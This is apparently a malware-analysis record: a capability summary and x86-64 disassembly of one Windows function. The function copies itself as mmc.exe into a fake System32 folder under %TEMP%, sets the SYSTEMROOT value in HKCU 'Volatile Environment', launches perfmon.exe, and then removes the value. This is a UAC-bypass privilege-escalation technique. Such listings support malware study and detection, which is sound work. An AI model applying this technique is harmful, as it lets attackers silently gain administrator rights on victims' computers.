Function at 0x1400032c0
Capabilities:
Copy file
Create directory
Create process on windows
Delete registry value
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x580]
sub rsp, 0x680
mov rax, qword [0x1400731f0]
xor rax, rsp
mov qword [rbp + 0x570], rax
lea rcx, [rsp + 0x42]
xor ebx, ebx
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x40], bx
call fcn.14000cb60
lea rcx, [rbp + 0x152]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x150], bx
call fcn.14000cb60
lea rcx, [rbp + 0x362]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x360], bx
call fcn.14000cb60
lea rdx, [rbp + 0x360]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str.mmc.exe
lea rcx, [rbp + 0x360]
call fcn.14000b480
test rax, rax
jne 0x14000356a
lea rdx, [rsp + 0x40]
mov ecx, 0x104
mov qword [rsp + 0x690], rdi
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasw ax, word [rdi]
mov rax, qword [str.7zPerformance]
mov ecx, ebx
mov qword [rdi - 2], rax
mov rax, qword [0x14005fdd0]
mov qword [rdi + 6], rax
mov rax, qword [0x14005fdd8]
mov qword [rdi + 0xe], rax
mov eax, dword [0x14005fde0]
mov dword [rdi + 0x16], eax
nop dword [rax + rax]
movzx eax, word [rsp + rcx + 0x40]
add rcx, 2
mov word [rbp + rcx + 0x14e], ax
test ax, ax
jne 0x1400033c0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x150]
repne scasw ax, word [rdi]
mov rax, qword [str.System32]
lea rcx, [rsp + 0x40]
mov qword [rdi - 2], rax
mov rax, qword [0x14005fdb8]
xor edx, edx
mov qword [rdi + 6], rax
mov eax, dword [0x14005fdc0]
mov dword [rdi + 0xe], eax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x150]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x150]
lea rdx, [rbp + 0x150]
xor r8d, r8d
repne scasw ax, word [rdi]
mov rax, qword [str.mmc.exe]
lea rcx, [rbp + 0x360]
mov qword [rdi - 2], rax
mov rax, qword [0x14005fdf0]
mov qword [rdi + 6], rax
movzx eax, word [0x14005fdf8]
mov word [rdi + 0xe], ax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x20], rdx
lea rdx, str.Volatile_Environment
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400034e4
mov r10, qword [rsp + 0x30]
test r10, r10
je 0x1400034e4
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasw ax, word [rdi]
lea rdx, str.SYSTEMROOT
mov r9d, 1
not rcx
xor r8d, r8d
lea eax, [rcx + rcx]
mov rcx, r10
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, str.perfmon.exe
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], 6
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x30]
lea rdx, str.Volatile_Environment
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rdi, qword [rsp + 0x690]
test eax, eax
jne 0x14000356a
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000356a
lea rdx, str.SYSTEMROOT
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x570]
xor rcx, rsp
call fcn.14000cad0
mov rbx, qword [rsp + 0x698]
add rsp, 0x680
pop rbp
ret